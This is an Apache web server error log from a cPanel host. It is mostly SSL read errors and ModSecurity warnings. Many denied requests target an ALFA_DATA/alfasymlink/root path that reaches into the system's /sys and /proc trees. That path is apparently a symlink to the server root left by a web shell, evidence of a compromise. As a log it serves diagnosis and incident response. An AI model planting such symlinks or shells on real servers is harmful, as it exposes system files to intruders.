[Sun Oct 25 10:37:23.908607 2026] [core:error] [pid 2847214:tid 2847214] (13)Permission denied: [client 35.169.102.85:3653] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/tty4/subsystem/ptmx/subsystem/ttyS1/device/tty/ttyS2/type
[Sun Oct 25 10:37:27.735385 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 98.82.40.168:17195] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:37:34.569557 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 185.191.171.9:60338] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/reclaim_account
[Sun Oct 25 10:37:44.039374 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 54.90.8.255:19655] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:37:45.981842 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 185.191.171.7:14564] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/destroy_by_rcu
[Sun Oct 25 10:37:55.736925 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.225.181.161:1999] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:38:03.997586 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 52.7.33.248:7979] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:38:07.483611 2026] [security2:error] [pid 2847214:tid 2847214] [client 64.20.54.226:50568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/MS6NBOYYN5K_4AHU1PERV6KE_9Y770R4"] [unique_id "at4UT_hVEu9HLPc5D-_5rQAAACk"]
[Sun Oct 25 10:38:07.483661 2026] [security2:error] [pid 2847214:tid 2847214] [client 64.20.54.226:50568] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "diag2.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/MS6NBOYYN5K_4AHU1PERV6KE_9Y770R4"] [unique_id "at4UT_hVEu9HLPc5D-_5rQAAACk"]
[Sun Oct 25 10:38:07.821883 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 23.21.179.120:62920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:38:11.809528 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 52.22.87.224:9043] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:38:23.903724 2026] [core:error] [pid 2847221:tid 2847221] (13)Permission denied: [client 100.28.133.214:31319] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:01/PNP0B00:00/physical_node/driver/bind
[Sun Oct 25 10:38:27.743024 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 3.216.13.10:7929] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:38:31.711628 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.221.180.179:18814] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:38:43.570359 2026] [authz_core:error] [pid 2847173:tid 2847173] [client 64.210.64.114:57012] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sun Oct 25 10:38:43.846810 2026] [core:error] [pid 2848588:tid 2848588] (13)Permission denied: [client 34.205.170.13:9544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/ata_generic/module/sections/__param
[Sun Oct 25 10:38:48.231237 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 85.208.96.206:32834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/slab_size
[Sun Oct 25 10:38:53.209350 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 18.206.47.187:3107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:39:07.908700 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 34.203.111.15:11146] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:39:11.777004 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 44.193.102.198:62395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:39:12.268090 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 185.191.171.13:59798] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_dst_cache/min_partial
[Sun Oct 25 10:39:19.914867 2026] [core:error] [pid 2847221:tid 2847221] (13)Permission denied: [client 54.91.122.193:47454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/event1/subsystem/input3/subsystem/event3/device/device/driver/serio1/drvctl
[Sun Oct 25 10:39:22.907673 2026] [security2:error] [pid 2821699:tid 2821699] [client 122.51.236.174:47962] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.parkeranders.com"] [uri "/"] [unique_id "at4UmpBSQk9YSmLuOvuRvgAAAAM"]
[Sun Oct 25 10:39:23.801187 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 18.215.77.19:48131] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:39:32.000343 2026] [core:error] [pid 2848588:tid 2848588] (13)Permission denied: [client 107.20.255.194:37395] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:17/subsystem/drivers/hpet/unbind
[Sun Oct 25 10:39:35.777117 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 44.213.202.136:2868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:39:39.813363 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.215.221.125:33127] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:39:43.968576 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.211.105.134:62843] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:39:55.987145 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 34.203.111.15:46435] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:40:11.985678 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 18.233.24.238:41587] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:40:22.299166 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 85.208.96.206:53380] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-ParseExt/poison
[Sun Oct 25 10:40:43.693794 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 23.21.179.120:31881] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:40:45.588686 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 85.208.96.210:48218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/hwcache_align
[Sun Oct 25 10:40:47.733541 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 52.21.62.139:40036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:40:49.961297 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 85.208.96.201:34060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-16/reclaim_account
[Sun Oct 25 10:40:53.036979 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 23.23.214.190:30984] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:40:55.509523 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 3.221.156.96:63657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:40:59.682541 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 18.213.240.226:56085] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:03.768554 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.44.174.136:32753] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:07.800337 2026] [core:error] [pid 2847221:tid 2847221] (13)Permission denied: [client 98.82.214.73:34515] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/physical_node/driver/module/uevent
[Sun Oct 25 10:41:11.892914 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 54.80.73.122:64903] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:13.078876 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 85.208.96.201:12248] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:15.558239 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 100.25.120.246:57241] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:23.415984 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 3.223.181.32:38014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:27.509169 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 3.226.34.98:36373] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:35.617816 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 18.232.12.157:55113] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:36.609247 2026] [core:error] [pid 2847221:tid 2847221] (13)Permission denied: [client 85.208.96.202:27586] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/partial
[Sun Oct 25 10:41:39.514842 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 44.221.37.41:54864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/drivers/cirrus/0000:00:02.0/driver/module/sections/__mcount_loc
[Sun Oct 25 10:41:43.361600 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 3.227.180.70:62194] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:47.566672 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 54.87.95.7:5087] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:41:57.086917 2026] [core:error] [pid 2847175:tid 2847175] (13)Permission denied: [client 85.208.96.198:16158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/slabs
[Sun Oct 25 10:42:03.414255 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 98.84.200.43:28572] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:42:07.242882 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 35.174.141.243:21600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:42:15.063393 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 3.209.174.110:30841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:42:19.621472 2026] [core:error] [pid 2847176:tid 2847176] (13)Permission denied: [client 18.214.251.19:56187] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:05.0/virtio2/subsystem/drivers/virtio_blk/bind
[Sun Oct 25 10:42:27.311846 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 3.212.205.90:13169] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:04.0/driver/unbind
[Sun Oct 25 10:42:31.247583 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 100.29.160.53:13082] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:42:43.174748 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 98.82.38.120:38532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:42:51.053692 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 3.214.176.44:22945] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:42:55.155714 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 44.212.232.231:32368] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:43:08.158447 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 54.91.122.193:46700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:43:12.517386 2026] [core:error] [pid 2848588:tid 2848588] (13)Permission denied: [client 52.3.155.146:28292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/virtio0/driver/bind
[Sun Oct 25 10:43:15.553098 2026] [core:error] [pid 2847173:tid 2847173] (13)Permission denied: [client 3.81.253.213:46753] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/devices/pcspkr/driver/uevent
[Sun Oct 25 10:43:22.900103 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.90.8.255:29271] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:43:25.614751 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 85.208.96.198:27468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:43:29.414934 2026] [security2:error] [pid 2834019:tid 2834019] [client 49.51.166.228:44712] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/525564414246"] [unique_id "at4VkUsgp-xlBP1GcWOSqQAAABE"]
[Sun Oct 25 10:43:30.875332 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 54.156.248.117:56855] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:43:34.910337 2026] [core:error] [pid 2847173:tid 2847173] (13)Permission denied: [client 23.20.178.124:43613] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/bind
[Sun Oct 25 10:44:02.697850 2026] [core:error] [pid 2847173:tid 2847173] (13)Permission denied: [client 34.194.14.255:35807] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/new_id
[Sun Oct 25 10:44:06.687794 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 34.224.9.144:10331] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/iosf_mbi_pci/unbind
[Sun Oct 25 10:44:10.537512 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.216.172.204:59348] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:44:22.423174 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 34.192.67.98:1339] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:44:26.363634 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.83.10.183:17608] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:44:30.322647 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 23.23.180.225:17380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:44:38.256054 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 100.29.128.75:8736] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:44:40.788018 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 185.191.171.13:40748] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:44:42.336267 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 98.84.131.195:22027] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:44:46.205623 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 100.29.34.97:24312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:44:54.210921 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 44.209.187.99:2625] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:44:58.206288 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 3.212.219.113:4947] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:45:02.206400 2026] [ssl:error] [pid 2847227:tid 2847227] (5)Input/output error: [client 44.206.65.8:13400] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:45:09.120763 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 185.191.171.12:24318] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:45:22.432058 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 50.16.216.166:38281] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/remove
[Sun Oct 25 10:45:22.432570 2026] [security2:error] [pid 2834019:tid 2834019] [client 50.16.216.166:38281] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/remove"] [unique_id "at4WAksgp-xlBP1GcWOSrQAAABE"]
[Sun Oct 25 10:45:22.432610 2026] [security2:error] [pid 2834019:tid 2834019] [client 50.16.216.166:38281] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/0000:00:01.2/remove"] [unique_id "at4WAksgp-xlBP1GcWOSrQAAABE"]
[Sun Oct 25 10:45:34.181166 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 54.209.100.30:25299] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:45:38.530047 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 3.223.181.32:11873] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:45:41.115959 2026] [core:error] [pid 2848588:tid 2848588] (13)Permission denied: [client 85.208.96.212:33906] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-256/sanity_checks
[Sun Oct 25 10:45:42.182312 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 34.194.233.48:57584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:45:46.372813 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 54.164.106.236:19313] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:45:50.186938 2026] [core:error] [pid 2847175:tid 2847175] (13)Permission denied: [client 44.209.35.147:55422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/0000:00:04.0/resource1
[Sun Oct 25 10:46:06.231447 2026] [core:error] [pid 2847214:tid 2847214] (13)Permission denied: [client 52.205.222.214:1498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/resource4
[Sun Oct 25 10:46:10.204714 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 3.210.29.96:17371] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:46:18.171787 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 52.202.52.82:44663] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:02/physical_node/subsystem/drivers/Cavium PTP Driver/unbind
[Sun Oct 25 10:46:22.165030 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 34.202.88.37:23304] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:46:26.209147 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 34.204.150.196:51961] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:46:30.180245 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 3.215.221.125:34240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:46:38.420629 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.232.39.98:33097] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:46:46.175028 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 3.218.35.239:31464] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:46:50.527320 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 18.208.11.93:1768] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:47:01.593076 2026] [core:error] [pid 2848588:tid 2848588] (13)Permission denied: [client 185.191.171.15:56596] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-32/hwcache_align
[Sun Oct 25 10:47:02.243884 2026] [ssl:error] [pid 2847176:tid 2847176] (70014)End of file found: [client 3.211.181.86:20713] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:47:06.294838 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 18.232.36.1:32158] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:47:10.963853 2026] [ssl:error] [pid 2834019:tid 2834019] (5)Input/output error: [client 52.71.218.25:22721] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:47:22.214445 2026] [ssl:error] [pid 2847227:tid 2847227] (70014)End of file found: [client 34.226.89.140:62978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:47:26.218418 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 35.171.141.42:45538] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:47:34.147746 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.29.107.38:2282] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:47:38.171607 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 52.4.213.199:61139] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:47:50.167947 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 18.205.213.231:44058] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:47:54.191810 2026] [ssl:error] [pid 2847175:tid 2847175] (70014)End of file found: [client 18.214.124.6:20796] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:48:02.153328 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 44.223.116.180:21504] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:48:09.872702 2026] [core:error] [pid 2847227:tid 2847227] (13)Permission denied: [client 185.191.171.5:25298] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/slab_size
[Sun Oct 25 10:48:18.291881 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 34.231.45.47:37726] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:48:30.164573 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 44.221.227.90:23576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:03/physical_node/driver/new_id
[Sun Oct 25 10:48:38.266276 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 44.221.37.41:7624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:48:50.253679 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 18.232.12.157:17429] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:49:18.136338 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 184.73.239.35:17408] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:49:22.136907 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 3.89.170.186:20212] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:49:31.678265 2026] [ssl:error] [pid 2847221:tid 2847221] (70014)End of file found: [client 85.208.96.196:16314] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:49:33.017981 2026] [core:error] [pid 2848588:tid 2848588] (13)Permission denied: [client 185.191.171.2:14388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/cpu_slabs
[Sun Oct 25 10:49:38.142508 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.202.52.82:29107] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:49:51.254340 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 185.191.171.5:58524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/validate
[Sun Oct 25 10:49:54.189503 2026] [ssl:error] [pid 2848588:tid 2848588] (70014)End of file found: [client 3.93.211.16:19341] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:50:02.316176 2026] [ssl:error] [pid 2847214:tid 2847214] (70014)End of file found: [client 44.213.36.21:14548] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 10:50:03.871949 2026] [core:error] [pid 2847175:tid 2847175] (13)Permission denied: [client 85.208.96.203:61770] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-1k/hwcache_align
[Sun Oct 25 10:50:06.143853 2026] [ssl:error] [pid 2847173:tid 2847173] (70014)End of file found: [client 54.84.102.81:25416] AH02013: coalesce failed to read from data bucket
